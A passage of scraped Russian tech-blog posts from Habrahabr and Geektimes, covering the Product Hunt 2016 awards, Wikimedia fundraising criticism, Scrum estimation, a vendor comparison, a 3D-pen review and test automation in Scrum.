разгоняющийся от 0 до 60 миль/час за 2,5 секунды. Электрический седан идеален для громкого (но бесшумного) выхода вас и вашей семьи, и достоин этой награды. Spectacles от Snap не отставали, и их поддерживала впечатляющая стратегия выхода на рынок. Компания умудрилась вернуть очарование торговым автоматам. Прорыв года Победитель: Tesla Solar Roof Второе место: Tesla Model 3 Tesla побеждает! Solar Roof, крыша из солнечных панелей, представляет собой реальный прорыв, обещающий не только принести возобновляемую энергию в дома, но и сделать это стильно (и недорого). В 15-минутном видео от октября подробно расписан их потенциал. Железяка года Победитель: Leaf Второе место: Microsoft Surface Studio Несмотря на впечатляющую линейку гаджетов от Google и особенности Microsoft Surface Studio, в 7 штатах США марихуана была легализована в день выборов, и мы должны принять этот демократический процесс и прозвучавшие голоса. Победил Leaf. Мобильное приложение года Победитель: Tinycards by Duolingo Второе место: Hardbound Гонка между Hardbound и Tinycards была напряжённой, но в итоге интерактивный подход к обучению от Duolingo победил. Особо хочется отметить других фаворитов сообщества: Prisma , Anchor , Whale и Houseparty . По-видимому, для победы необходимо назвать ваше приложение в честь эмодзи. Available Startup Names: Track their potential to become a Twitter trend here: https://t.co/3yLolJDnWa — Product Hunt (@ProductHunt) January 9, 2016 Лучшая программа для настольных компьютеров Победитель: Franz Второе место: Slack for Mac Franz – программа для Windows, Linux и Mac, сочетающая в себе все популярные программы для общения, включая Slack, WhatsApp, WeChat, HipChat, Messenger, Telegram, Google Hangouts, GroupMe, Skype, и т.д. Второе место заняла новая программа для Mac от компании, о которой вы могли слышать. Приложение года для iMessage Победитель: Momento Второе место: Giphy for iMessage Momento – небольшое приложение, преобразующее схожие фотографии, полученные с камеры, в GIF. Запускайте iMessage и пролистывайте его до новых воспоминаний в виде GIF, о которых вы уже забыли. Бот года Победитель: Letz Второе место: Nerdify Bot Поздравляем небольшую команду Letz из Македонии с получением награды «Золотой котёнок» в этой категории. Гонка была напряжённой, состязались в ней Letz, Nerdify Bot, и бот от Duolingo . Отдельно отметим Statsbot , бот, включающий Google Analytics в Slack. Лучший плагин для Chrome Победитель: Toby Второе место: Ghost for Facebook Сегодня можно найти расширение для Chrome для чего угодно. Поиск вранья в Facebook , превращение Google Calendar в десктопное приложение , изменение палитры Product Hunt , и расширение, возвращающее в Twitter звёздочки . Победитель в этой категории, Toby, это лучший способ организации закладок браузера. Ghost for Facebook – это небольшой хак, позволяющий вам оставаться невидимым в чате Facebook (разговаривать без отметки о времени последнего посещения). Категория «что за нафик» Победитель: Pee World VR Второе место: Snapbots Нет слов, одни поздравления. Выбор сообщества Product Hunt Победитель: Siftery Второе место: Startup Pitch Decks Особая категория, включающая самые популярные проекты, понравившиеся членам сообщества Product Hunt. Поздравляем Vamshi , Ayan и команду Siftery: место для ежедневного открытия новых продуктов и распространения информации об используемых вами. Лучший эпизод подкаста Победитель: Becoming Superhuman: David Heinemeier Hansson Второе место: How to Build the Future: Mark Zuckerberg Первое место в этом году мог бы занять эпизод из шоу How to Build the Future, выпускаемого стартап-инкубатором Y Combinator, с участием Сэма Альтмана и Марка Цукерберга, но ему пришлось довольствоваться вторым местом. Поздравляем Джонатана Леви за эпизод Becoming Superhuman с участием создателя Ruby on Rails, DHH . Живой чат года Победитель: Cyan Banister LIVE Chat Второе место: Everette Taylor LIVE Chat Поздравляем победителя напряжённой гонки, Циана Банистера, и рекомендуем вам попробовать оба из этих чатов. Создатель года Победитель: Mubashar Iqbal Второе место: Lucy Guo В этом году у нас появилось две новые категории наград, в которых победитель выбирается на основе данных, а не голосования. Судя по данным, в 2016 году лучшими создателями года на Product Hunt были: Lucy Guo, Mikael Cho, Moritz Kobrna, Mubashar Iqbal, Seth Louey, — а также Ahmet Sülek, едва не попавший в пятёрку лучших. Если кликнуть по ссылкам с их имён и зайти на сайте в раздел «made», можно увидеть списки запущенных ими продуктов. Мубашар Икбал получил первое место за 12 запущенных им в этом году продуктов. Лучший член сообщества Победитель: Chris Messina Второе место: Kevin William David И в последнюю очередь по списку, но не по значимости, идёт категория «лучший член сообщества». Всего их слишком много, чтобы перечислять, но по результатам подсчёта взноса в сообщество (комментарии, голосование, и прочее), победил Крис Мессина, немного вырвавшийся вперёд Кевина Дэвида. На этом перечисление победителей конкурса «Золотой котёнок» 2016 года закончено, и ждём вас в следующем году. Tip of the Day: Including this GIF with your product launch tweet guarantees a @ProductHunt RT. 'rocket launch' pic.twitter.com/Bc0wt98XAI — Product Hunt GIF (@ProductHuntGIF) December 18, 2016
https://geektimes.ru/post/283918/
habrahabr
Wikipedia собирает больше денег, чем ей требуется, но сборы продолжаются
['wikipedia', 'wikimedia foundation', 'онлайн-энциклопедия']
Почему так происходит? Ведь Джимми Уэйлс, по идее, должен прекратить акцию по сбору средств, требующихся для работы Wikipedia, как только набрана необходимая сумма. В декабре Wikimedia...
Почему так происходит? Ведь Джимми Уэйлс , по идее, должен прекратить акцию по сбору средств, требующихся для работы Wikipedia, как только набрана необходимая сумма. В декабре Wikimedia Foundation уже достигла планируемой суммы в $25 млн. А до конца месяца осталось больше недели. 3 декабря этого года основатель Wikipedia пообещал, что как только цель будет выполнена, кампания по сбору средств будет остановлена. «Если мы соберем планируемые средства быстрее, чем рассчитывали, мы прекратим кампанию», — заявил Уэйлс. Но пока что признаков того, что Wikimedia Foundation действительно собирается прекращать копить пожертвованные средства, сейчас или в отдаленном будущем, нет. На 16 декабря Wikimedia Foundation удалось собрать $25 530 943,01 — это уже больше, чем планировалось. На что идут средства? На обеспечение работы серверов и штата сотрудников (да, здесь работают не только добровольцы). Здесь следует заметить, что текстом никто из сотрудников Wikipedia на контракте не занимается. Написанием и проверкой текстового материала занимаются добровольцы. Это известно многим, что подтверждает и бывший сотрудник Wikipedia Андрес Колбе (Andreas Kolbe). Джимми Уэйлс говорит, что десять лет назал Wikipedia была известным ресурсом с минимальным количеством средств, которые требуются на поддержание работы сайта. С течением времени поддержание ресурса и всей инфраструктуры требовало все больше и больше средств. Но, как говорит Уэйлс, если бы каждый читающий сообщение о необходимости сбора средств для Wiki поделился бы двумя фунтами стерлингов (около $2.5), этого бы хватило ресурсу на долгое время. «Да, это так, нам нужна только сумма, равная стоимости чашки кофе, большего мы не требуем», — заявил он. А сколько нужно-то? Точную сумму сбора средств, порой, затрудняется назвать и глава Wikipedia. К примеру, он не смог дать точного ответа на вопрос «сколько же средств необходимо собрать в этом году», хотя его об этом и просил один из пользователей Wiki, которому надоело каждый раз при заходе на ресурс видеть просьбу о «чашке кофе». Логичный вопрос «а сколько чашек кофе нужно на поддержание работы серверов» ответа не получил. Каждый год Wikimedia Foundation получает больше пожертвований от своих пользователей, чем в предыдущие годы. В среднем — на $3 млн больше каждый год. За почти 8 лет, начиная с 2009 года, Wikipedia собрала около 300 млн долларов США, принимая пожертвования своих читателей. Если раньше средства расходовались лишь на работу серверов, то сейчас их приходится распределять между штатными сотрудниками организации — их насчитывается уже около 300 человек. Люди, которые выполняют наиболее важную работу, добавляя новые и редактируя существующие материалы, не получают ничечго. Кроме того, Wikipedia стала практиковать «отступные». Например, бывший исполнительный директор организации Сью Гарднер (Sue Gardner) получила после своего ухода с поста около $100 000. Затраты высокие, но денег больше Сейчас Wikimedia Foundation начала заниматься инвестированием средств, плюс организация откладывает оставшиеся средства, оставляя резерв. Глава Wiki и его сотрудники утверждают, что сейчас у организации есть примерно годовой запас средств на работу, что является стандартом для некоммерческого сектора. Тем не менее, мы можем видеть, что затраты организации растут с каждым годом. Это как раз нормально — все мы знаем, что у Wiki увеличивается число страниц, энциклопедию посещает все больше и больше пользователей каждый год. Другими словами, резерв, который требуется компании для нормальной работы в течение года, постоянно увеличивается. 10 лет назад ситуация была несколько иной. Ниже показано видео, где Уэйлс рассказывает о низких затратах на работу ставшей очень посещаемым ресурсом онлайн-энциклопедии, гордясь этим. Тогда число просмотров страниц в месяц достигло 1,4 млрд. В месяц организации требовалось около $5000 на обслуживание своей инфраструктуры — и это практически все затраты. Уэйлс тогда говорил, что штатные сотрудники организации не нужны, все можно делать своими силами. И практически все средства, которые организация получала, она тратила на технические нужды. В прошлом году собрано $82 млн, и лишь небольшой процент этих средств был потрачен на хостинг. Если сосредоточиться лишь на самой онлайн-энциклопедии, то средств, собранных на счетах банков, хватит примерно на 30 лет. Тем не менее, у Wikimedia Foundation есть и сторонние проекты, которые требуют внимания и средств. Кроме того, работа организации сопровождается, порой, судебными исками. Нужна юридическая защита, которая требует большого количества средств . Благодаря им Wikimedia побеждала в судах Бразилии, Германии, Франции и Индии. Так в чем проблема? То, что такой крупный ресурс, как Wikipedia, равно, как сторонние проекты Wikimedia Foundation (WMF) тратят много, вопросов особо не вызывает. Да, вполне справедливо, что на обслуживание ИТ-инфраструктуры компании требуются большие средства. Судебные иски — тоже ответ на вопрос, куда деваются деньги, об этом уже говорилось выше. Но, к сожалению, расход средств, собранных благодаря пожертвованиям читателей, не всегда можно назвать целевым. Например, WMF оплачивает своим штатным сотрудникам поварские курсы, массаж и спортзалы. В тоже время, тысячи добровольцев, которые тратят немало времени на работу с контентом (напомним, что штатные сотрудники с текстом практически не работают) не получают ничего. В итоге сформировался класс «буржуа» — штатных сотрудников, которые получают большие деньги за относительно несложную административную работу. И класс «чернорабочих» — редакторов, которые вкладывают свои силы и тратят свое время на обеспечение высокого качества контента. В то же время, редакторы не получают ничего. Да, все эти люди добровольно согласились помогать ресурсу. Люди жертвуют средства организации тоже добровольно. Но большинство считает, что деньги пойдут на работу Wikipedia, да и только. А как уже говорилось выше, уже несколько лет затраты организации на обеспечение самой энциклопедии составляют лишь малую толику от общей суммы затрат. Тем временем, представители WMF потратили еще в 2012 году более $2000 на визитки. В 2013 году 81 тысяча евро ушла неким фотографам, которые должны были получить изображения различных политиков. И тогда же грант в 81 720 евро был выделен на исследование, цель которого — изучение редактирования текста. И это почти 4 года назад. Сейчас, когда суммы финансирования организации выросли, и очень значительно, можно ожидать, что и траты на подобные проекты также увеличились. Возможно, во время, когда количество редакторов Wikipedia снижается, организации, которая управляет онлайн-энциклопедией, стоит задуматься над тем, куда уходят пожертвования читателей. Ведь у пользователей ресурса карманы не бездонные, а терпение — не железное. Впрочем, в любой момент можно узнать о том, куда конкретно были потрачены наши пожертвования, компания ведет открытую статистику, например, такую .
https://geektimes.ru/post/283920/
habrahabr
Становлюсь ли я лучше?
['agile', 'scrum', 'devops']
Эту самую картинку наш технический директор подкладывал в каждую презентацию с комментарием: «Я хочу, чтобы вы были как они.» Приветствую, дорогой читатель. В атмосфере взаимодействия...
Эту самую картинку наш технический директор подкладывал в каждую презентацию с комментарием: «Я хочу, чтобы вы были как они.» Приветствую, дорогой читатель. В атмосфере взаимодействия гибкости и тесного взаимодействия (на буржуйском — Agile и DevOps) присутствует такое понятие, как Continuous Learning. По сути общая идея заключается в том, чтобы признавать простой факт: как бы усердно ты ни работал, каким бы профессионалом бы ты ни был — ты всегда можешь быть и делать лучше. Дабы не вызывать комплекс неполноценности, я взял за правило, что мой КПД — 95%. Эта цифры взята из потолка, но она дает мне право осознавать, что я достаточно вовлечен в процесс, я пытаюсь выжать максимум из своих возможностей, но всегда есть 5% которых мне не хватает до идеала. Набравшись новых знаний, я пробую снова — но цифры всегда остаются прежними — 95% и ни процента больше. Однако, каждый раз я задаюсь одним и тем же вопросом — становлюсь ли я лучше? В Scrum есть такой интересный процесс как refinement (он же estimation). Каждый член команды держит в руке колоду карт Scrum покера и готовится показать карту с количество очков на каждую историю. История обсуждается, декомпозируется, разжевывается до мелочей пока абсолютно все члены команды не поймут, конкретно что и как необходимо сделать. В момент, когда консенсус достигнут владелец продукта говорит сакральную фразу: «Оценим?». На раз-два-три игроки показывают карту, смотря оценки друг друга, и, если они разнятся, обсуждают снова пока все не придут к одной оценке. Есть множество способов определения оценки, но мы в нашей команде (учитывая, что мы не разработчики, а инженеры) взяли за основу оценки следующие критерии: длительность, сложность, риск, неизвестность и взаимодействие с третьими лицами (читай — соседними командами). К примеру появляется задача — инвентаризировать все подсети, которыми мы пользуемся. Это не сложная задача, в принципе достаточно залезть на core маршрутизаторы, посмотреть виртуальные свичи в Vmware, на крайний случай — пообщаться с другими инженерами или поскрести по сусекам в поисках старой документации. Однако можно потратить целую неделю, а то и две выискивая каждый ипшник. И как оценить эту задачу? А вот есть задача иная — например освоить динамические инвентари Ansible, в частном случае — тот же Vmware. Тоже несложная задача на первый взгляд, но если залезть поглубже, встанет другой вопрос — как группировать? По тегам, ресурс пулам или сетям? Или построить большие группы на основе датацентров и дочерние группы в кластерах? Надо ли добавлять ESX хосты или только гостевые виртуалки? У этой задачи в добавок к «сложности» появляется критерий неизвестности. Ну и самая мякотка. Возьмем за основу, что самая «большая задача», которая займет одного инженера на целых 2 недели, равна 5 очкам. Отсюда выливается следующий негативный момент: Последовательность Фибоначчи не имеет в себе цифр 10 или 15 — как оценить если задача займет 2 инженеров на весь спринт? В таком случае скорость команды остается фиксированной Х*5, где Х — количество очков. Как тогда объективно оценить возможности команды к росту? Обозначаем стандартную задачу Выше уже понятно, что ставить оценку, базируясь на сроках, не самое правильное решение. Тогда возьмем какую-нибудь стандартную задачу — например приготовить для команды разработчиков 1 сервер. Сервер может быть железным или виртуальным, он должен быть установлен/создан, на нем должна быть установлена ОС, назначен ипшник, добавлен в домен, настроены бекапы и мониторинг, записана документация, сервер передан в эксплуатацию stakeholder'у. История стандартная, с ней справится каждый член команды, никому ничего объяснять/обучать не надо — 1 очко. Базируясь на определенном стандарте человек понимает: «Час на это, полчаса на это, еще имейл накатать, ну за день справлюсь.» Имея стандарт можно подобным образом оценивать другие задачи, даже с большим объемом неизвестности. Вот например Puppet — соседние ребята, сопровождающие фронт на нем уже собаку съели, а мы его особо не используем (ну только ноды и роли прописать, много ума не надо). И вот тут ситуация — надо написать свой модуль для amavis, чтобы сканеры почты можно было деплоить за 5 минут, вместо часа. Выгода очевидна, преимуществ немеряно, Infrastructure-as-Code тот же. Но писать модули никто не умеет. И тут уже другая цепочка — покурить мануалы, сходить к ребятам за лучшими практиками, разработать, прописать тестовое окружение, простестировать, пофиксить, протестировать, пофиксить, добавить модуль в Puppetfile и т.д. — много всего. Вот тут уже инженер может дать слабину — испугавшись многих «если» он может переоценить задачу или, что еще хуже, недооценить. Но если вспомнить про «скелет» задачи, можно хотя бы приблизительно понять сколько усилий , крови, пота и боли будет стоить эта задача. Количество стандартов может быть разным: Новая роль Ansible — 2 очка Продиагностировать из-за чего упал сервер — 0.5 очка Срелизить новую версию продукта — 1 очко (CI/CD то налажен!) Исследовать новый продукт — от 2 до 5 очков Ну и так далее Таким образом формируется определенная производительность, ставится планка, которую надо потом увеличивать. Но изначальная проблема «становлюсь ли я лучше» остается. Как же ее решить? На основе velocity Дополнительным преимуществом оценивания является возможность измерить результаты и сравнить с предыдущими спринтами. Вот на этом спринте было 10 очков, я только пришел в контору, и коллеги потратили много времени, чтобы ввести меня в курс дела. Вот тут уже вышли на 15, мало, но 2 инженеров были в отпуске. Вот уже 20 очков, круто, но это базовая планка. От терний к звездам можно двигаться до бесконечности. Velocity — одна из базовых метрик измерения потенциала команды, но если брать ее за единственный объективный критерий, то, Scrum Master/PO, жди что твои коллеги начнут оценивать задачи вдвое-втрое больше. :) Иным является ситуация со скелетом задачи — доставка сервера. Когда задача «весит» 1 очко, мы понимаем, что сервер надо руками создать в vmware, поставить ОС из шаблона, прописать руками ипшник, установить NRPE и настроить Veeam бекапить эту машинку — а что если все автоматизирировать? Вот у нас конфигурация машины в Terraform, в CI стриггерится билд, сервер будет добавлен в нужную группу в динамическом инвентаре на основе тэга, стриггерится другой билд — ВЖУХ и накатится роль с агентом для Nagios, и запустится скрипт, чтобы добавить сервер в расписание бекапов. Означает ли это, что усилия по задаче снижены? Безусловно. В таком случае шаблоны задач надо пересматривать, и это может негативно сказаться на производительности в итоге. И тут появляется другой критерий. Deliverables Важно не только количество съеденных стори поинтов, но и практическая польза от произведенного труда. Измеряется она очень абстрактно — в нашем случае так вообще на размере улыбки stakeholder'а, но гораздо лучше сказать «Наша команда за этот спринт смигрировала все серверы на новый домен, старый можно аннигилировать», чем «Наша команда за этот спринт закрыла задач на 50 очков». 50 очков, вау круто, а что вы сделали-то? Но опять же возьмем за правило, что больше deliverables — лучше работает команда, что может пойти не так? Вот еще кейс — подготовка к рождеству. Для нашей ecommerce платформы это особое время, и все-все-все разработчики, инженеры и аналитики бросают все новые фичи и готовятся ответить на следующие вопросы: Сможет ли фронтенд выдержать 1 миллион запросов в минуту? Сможет ли почтовик обработать 1 миллион писем в день? Сможет ли платформа обрабатывать больше 9000 заказов в час? А что в WMS? А справится ли сетка? Позже мы отчитаемся о том, как мы упрочнили костыли нашу инфраструктуру, но это нельзя принимать за deliverables — в следующем году этот вопрос станет снова и колесо Сансары даст очередной оборот. Считается ли что команда работала плохо? Нет. Так как же понять, становлюсь ли я лучше или нет?! Работа. Я обошел всех наших Agile Coach'ей, надеясь получить особый стандартный ответ на этот вопрос. Ответ был получен — особого стандартного ответа нет. Но была одна хорошая догадка, и имя ей — Работа. Под работой понимается количество затраченного времени на один deliverable. Время рассчитывается эмпирическим путем из стори поинтов — на выходе можно получить соотношение результат к затраченным усилиям. В итоге я и как инженер, и член команды понимаю, что если я доставил 4 deliverables'а на 20 очков, то средняя температура по больнице — 5 очков на один deliverable. В следующем спринте будет 10 на 30, а затем — 15 на 40. Таким образом я пойму, стала ли моя команда быстрее, умнее , выше, сильнее , эффективней, и стал ли я как инженер сильнее вчерашнего себя.
https://habrahabr.ru/post/318180/
habrahabr
Почему вендоры паникуют по поводу hyper-convergence / webscale?
['nutanix', 'ibm']
Пока мы пишем большую (и как обычно обстоятельную) статью, простой пример как бывшие лидеры IT рынка пытаются обмануть клиентов. Результаты тестирования клиента Nutanix против ультра-дорогой...
Пока мы пишем большую (и как обычно обстоятельную) статью, простой пример как бывшие лидеры IT рынка пытаются обмануть клиентов. Результаты тестирования клиента Nutanix против ультра-дорогой системы IBM (разница даже не в разы): То что унылые пенсионеры пытаются рассказать вам: Раскладываем новые тренды в ИТ-инфраструктуре по полочкам: что такое scale-out, web-scale, гиперконвергентность
https://habrahabr.ru/post/318182/
habrahabr
3D-ручка 3Dali Plus и наборы пластиков для нее: «Палитра» PLA и «Палитра» Watson
['3d-ручка', '3dali plus', 'палитра', 'ABS', 'PLA', 'Watson', 'пластик для рисования']
Внимание! Последний в этом году гаджет-обзор, вы еще можете успеть купить эту штуку кому-нибудь в подарок! Что такое 3D-ручка? Это почти как 3D-принтер, только в качестве привода – ваша...
Внимание! Последний в этом году гаджет-обзор, вы еще можете успеть купить эту штуку кому-нибудь в подарок! Что такое 3D-ручка? Это почти как 3D-принтер, только в качестве привода – ваша рука. Лично мне в руки такая штука попала впервые, границы ее применимости были для меня смутными, так что я открывал ее для себя сам, хотя планировал использовать в качестве подарка детям. Коробка номер раз: В коробке номер раз – ручка, блок питания, три мотка пластика ABS и инструкция. Коробка номер два: В ней целая палитра пластиковой проволоки: Даже не надейтесь отделаться коробкой номер раз – это будет не полный подарок. Расходники, идущие в комплекте с ручкой «ознакомительные» — их мало, всего три ABS моточка. ABS пластик удобен для ознакомления с процессом 3D-рисования. Он пластичен, но немного пахнет. Но это не страшно. Те, что в «палитре» ложатся куда лучше, да и цвета разнообразные. Рассчитывайте свои силы – мешок у Деда Мороза, конечно, безразмерный, а вот ваш кошелек… Итак, 3D-ручка. Ползунок, который вы видите на первом фото, регулирует подачу пластика. Ручка кладет пластик гуще или тоньше. Из вот этого носика кладет: В тыльную часть ей втыкается проволока и блок питания на 12 вольт. А сверху индикатор температуры с кнопочками тонкой ее подстройки под разные сорта пластика. Вот, например, 215 градусов: Хвататься пальцами за сопло не стоит! Для рисования пластиком ABS на ручке нужно установить температуру в положение «ABS». Слева у ручки две клавиши. (Ручка очевидно «заточена» под правшей). Нижняя – подача проволоки, то есть собственно «рисование», верхняя – реверс, необходимый для удаления проволоки. Нижняя работает по принципу: «Нажато-рисуем, не нажато – не рисуем», верхняя по однократному нажатию выплевывает проволоку всю и совсем. Чтобы, например, сменить цвет. Внутри ручка устроена не очень сложно. В задней части стоит подающий моторчик: В передней – нагревательная головка с соплом: Моторчик пропихивает пластиковую проволоку к головке, та ее плавит и выдавливает из сопла. Немного похоже на клеевой пистолет. Мордочка нарисована пластиком Watson. Если присмотреться, то видно, что пластик прозрачный. Рисовать в объеме, несмотря на название, довольно сложно. Пластик недостаточно быстро застывает для изготовления висячих элементов (возможно, я просто не мог правильно настроить температуру), так что объемные фигуры надо либо собирать из плоских деталей, либо использовать какую-то основу. Возможно, более опытный пользователи как-то исхитряются, но мы пока не освоили. (Говорят, для шарообразных игрушек используют скатанные из ваты шары, нанося пластик рядами поверх, но я не пробовал, у меня ваты под рукой не нашлось). Так что мой первый 3D-конструкт составлен из плоских деталей. Домик также «сделан» при помощи пластика из Палитры-Watson. Кстати, примерно на такой домик (плюс пара небольших экспериментов) как раз хватает одного мотка пластика в палитре – красный мы с детьми израсходовали разом. Так что будьте готовы – расходники улетают махом, мы ополовинили их за пару дней. Нарисован домик по одному из шаблонов, приложенных к палитре пластиков: Они напечатаны на пергаментной бумаге, и это идеально для пластика – он к ней цепляется, но легко отклеивается после остывания. На совсем скользких поверхностях пластик тянется за ручкой, а на обычной бумаге прилипает насовсем. А тут по шаблону – бери и рисуй. Кроме того, в палитре в центре расположен пластиковый тубус, исполняющий роль оси для катушек, в нем можно хранить и саму ручку: Палитра вообще штука удобнейшая, проволока не мотыляется за ручкой, плавно сматывается с катушек… Пока не застрянет, запутавшись. У меня почему-то все время застревала белая, наверное, намотана была неровно. На что годится такая ручка? На мой взгляд, исключительно как игрушка детям. У меня Младший (5 лет) и Средняя (13 лет) – оба были в восторге. Но для пятилетнего все же рановато, у него пока получается плохо. А вот Средняя сразу сделала розовые очки, чтобы мир вокруг казался не таким унылым: Видео Ничего практически применимого вылепить такой ручкой не выйдет, так что, если вы ищете альтернативу 3D-принтеру – это не про нее. Но как забавный инструмент для детского развивающего творчества – отличная штука. Можно налепить снежинок и бабочек для елки, пусть даже неказистых, зато своими руками. О наборе пластиков PLA Цвета PLA-пластика очень яркие. Рисовать таким пластиком очень удобно как горизонтальные фигурки, так и объемные. Вертикальные «палочки» быстро затвердевают и позволяю создать «объем». Пластик пластичен и не пахнет. А уж названия-то какие! Изумрудный город, Черничный джем :))) И в середине, кстати, отверстие, а в нем трафареты, так что можно изобрести велосипед или очки смело. И еще там бабочки есть :) Наверное, туда как раз можно сложить саму ручку и адаптер и количество коробок уменьшится. Для рисования пластиком PLA на ручке нужно установить температуру в положение «PLA». Коробка номер три: Пластик Watson О наборе пластиков Watson Названия пластиков аналогичные предыдущей палитре. Количество тоже: 10 мотков по 10 метров. Чем отличается пластик Watson от пластика PLA? Пластик Watson — это пластик с высоким коэффициентом светопропускания (до 93% света). Он идеален для поделок, имитирующих стекло и драгоценные камни. Он более пластичен по сравнению с PLA-пластиком. Он тоже не пахнет. Почему Watson? Наверно разработчикам нравилось в юности читать произведения Артура Конан Дойла. Для рисования пластиком Watson на ручке нужно установить температуру в положение «ABS». Работа, выполненная ABS пластиком Очки нарисованы PLA пластиком Разные работы (Watson/ABS, ABS/PLA и Watson/PLA) Выводы: Хороший подарок для детей 8-15 лет. Стоят что ручка, что палитра WATSON и палитра PLA относительно недорого, радуют гарантировано. Так что, в свете грядущего пришествия Деда Мороза, вполне актуально. Недостатки?.. Ну, главный, на мой взгляд – очень быстрый расход материала. Одна средних размеров игрушка, изготовленная сплошным слоем пластика – и, считай, одного цвета в палитре уже нет. Прекрасная штука для развития художественных навыков и мелкой моторики. Заветную ручку 3Dali Plus , палитру PLA c яркими и универсальными пластиками , палитру с прозрачным пластиком Watson для изготовления полу- и прозрачных деталек можно купить с 10%-й скидкой по промокоду GEEKT-3DPEN в течение 14 дней с момента публикации. Автор Павел Иевлев (Semiurg), г. Воронеж Информация для блогеров и авторов: Компания «Даджет» заинтересована в публикации независимых объективных обзоров даджетов в разного рода СМИ. Компания «Даджет» с радостью предоставит даджеты блогерам и авторам, желающим протестировать их и написать обзор. Устройство после написания обзора остается у автора. Компания не пытается указывать автору, что именно писать о нашем товаре, но просит показать статью до публикации. В этом случае есть возможность уточнить информацию и предотвратить ошибки. Учитывать ли комментарии компании или нет, всегда остается на усмотрение автора. Подробнее...
https://geektimes.ru/company/dadget/blog/283924/
habrahabr
Автоматизация тестирования по методологии Scrum
['тестирование по', 'тестирование веб-приложений', 'тестирование приложений', 'автоматизированное тестирование']
Все больше и больше набирает обороты использование методологий семейства Agile, так называемых гибких методологий, в сфере IT. К этому семейству, как вы знаете, относятся такие методологии, как...
Все больше и больше набирает обороты использование методологий семейства Agile, так называемых гибких методологий, в сфере IT. К этому семейству, как вы знаете, относятся такие методологии, как Kanban, XP, Scrum и прочие, менее известные методологии. Напомню в чем смысл каждой из них по версии ISTQB: Кanban — гибкая методология семейства Agile, основная цель которой визуализировать поток работы, оптимизировать его и сократить время разработки. Отличительными особенностями Kanban являются: Наличие Kanban Board — доски, на которой видны состояния тех или иных задач, связанных с конкретными видами деятельности, например находятся эти задачи в стадии разработки или тестирования. Work-in-Progress Limit. Это означает, что на каждой стадии на Kanban Board может находится определенное число задач. Брать новую задачу в разработку можно только если закончена одна из предыдущих. Также если на одной из стадий закончились задачи, ответственные за эту стадию могут отправится помогать выполнять задачи на стадию предшествующую. Lead Time. У каждой задачи есть фиксированное время между ее созданием и закрытием, которого необходимо придерживаться. XP — гибкая методология семейства Agile, основная цель которой обеспечить высокую скорость написания кода, а так же использовать основные практики программирования в парах, делая обширный обзор кода, модульное тестирование всего кода, а также достижение простоты и ясности в коде. При использовании Scrum часто внедряются основные практики XP. Scrum — гибкая методология семейства Agile, набор принципов, на которых строится процесс разработки, позволяющий в жёстко фиксированные и небольшие по времени итерации, называемые спринтами (sprints), предоставлять конечному пользователю работающее ПО с новыми возможностями, для которых определён наибольший приоритет. Отличительными особенностями Scrum являются: Product Increment — команда работает равными промежутками времени, называемыми спринтами, за которые обязуется разработать, протестировать и ввести в эксплуатацию определенный функционал приложения. Product Backlog, Sprint Backlog — функционал приложения разбит на задачи, которые приоритезируются в список и выполняются в соответствии с ним. Definition of Done — по завершении работы над функционалом должны быть выполнены заранее утвержденные требования, называемые Definition of Done. Требования устанавливаются заранее и обсуждаются всей командой. Daily Stand Up Meeting — ежедневная встреча, основная цель которой получить ответы от каждого члена команды на 3 вопроса: “Что я сделал вчера”, “Что буду делать сегодня” и “Какие у меня есть трудности”. Это увеличивает видимость всего процесса разработки для всей команды. У всех вышеописанных методологий одна цель — быстро доставить до конечного пользователя качественный продукт. Все это — гибкие методологии. Если при использовании водопадной модели процесс тестирования весьма прост и понятен, потому что выполняется последовательно, после завершения активной фазы разработки, то в Scrum все не так легко. А как построен Scrum у нас? Команда состоит из PO (Product owner), Scrum Master и Developing Team, которая в свою очередь состоит из 1 QA Automation, 1 Backend developer, 1 Frontend developer, 1 UX и 1 верстальщика. Разработка идет итерационно, спринтами по 2 недели. Во время каждого спринта проводится несколько типов встреч: Planning — планирование спринта, набор задач на ближайшие 2 недели из Backlog проекта. Backlog refinement — разбор Road map проекта, оценка задач, лежащих в Backlog. Demo — показ результатов спринта, оценка проведенных работ, принятие решения об успешности спринта. Retro — обсуждение положительных и отрицательных моментов спринта, поиск решений, необходимых для устранения отрицательных моментов. Daily meeting — ежедневный митинг для того, чтобы увидеть ситуацию на проекте от лица каждого члена команды. Процесс выполнения задачи проходит следующим образом: На планировании задача попадает в Backlog текущего спринта из Backlog проекта После переходит в статус In dev на Scrum Board и разработчики приступают к выполнению Результат выполнения задачи заливается в отдельную feature ветку в git Задача переходит из статуса “In dev” в статус “In test“на Scrum Board Результат выливается на тестовый стенд и тестируется Реализуются автотесты на выполненную задачу После этого написанные автотесты и реализованный функционал отправляются в основную ветку проекта в Git — в develop Когда все задачи выполнены и покрыты автотестами происходит их сборка на CI. При успешном выполнении сборки (пройдены все unit и автотесты) приложение автоматически раскатывается на внутренний демо стенд для проведения демо. Если результат спринта принят успешно — сборка раскатывается на пром сервер. Что же происходит в начале спринта для автоматизатора тестирования и в конце спринта для разработчика? Ведь казалось бы в начале спринта еще нет выполненных задач, а в конце спринта уже не остается задач, которые не были бы переведены на тестирование. А происходит приблизительно одно и то же, оптимизация кода, рефакторинг, внедрение новых инструментов и тому подобное. Как пример для автоматизатора — внедрение Allure отчетов, для девелопера — оптимизация работы запросов. Тестирование в Scrum В начале процесса автоматизации тестирования необходимо настроить CI, чтобы проводить регрессионное тестирования автоматически. Цель — свести ручную работу к минимуму. Потому что времени ни на что нет, нужно работать быстро. После этого стоит заняться репозиторием, настроить запуск сборки по Merge request. Если кто-то из разработчиков отправил что то в основную ветку проекта, запускается сборка и по ее результатам можно понять корректны ли внесенные изменения. Перед тем как приступить к написанию тестов, необходимо разобраться в основной бизнес-идее проекта, чтобы определить области высокого риска на которые обращается внимание в первую очередь. Все таки будем реалистами, полностью покрыть тестами приложение, пусть оно и маленькое, не получится. Сазерленд писал, что на реализацию всего Бэклога никогда нет времени, поэтому он всегда применял к Backlog принцип Парето. Пишем 20% автотестов, покрывающих 80% возможных дефектов. При написании тестов нужно добиваться максимальной абстракции. Не стоит писать код функции, которую можно будет использовать только при определенных условиях. Намного лучше реализовать ее так, чтобы максимально переиспользовать код, изменяя входные параметры. Эффективная работа в Scrum невозможна без тесной работы с разработчиком, потому что времени для самостоятельного изучения кода мало. Быстрее и качественнее получится результат, если получать информацию из первых уст. Как реализован тот или иной функционал, что при этом использовалось. Это важно для понимания внутренней структуры. Необходимые качества автоматизатора тестирования Автоматизатор, а в Scrum особенно, должен быть технически подкован, чтобы понимать как работает приложение так сказать “под капотом”. Важно уметь быстро и легко переходить с одной технологии на другую. Например, при изменении 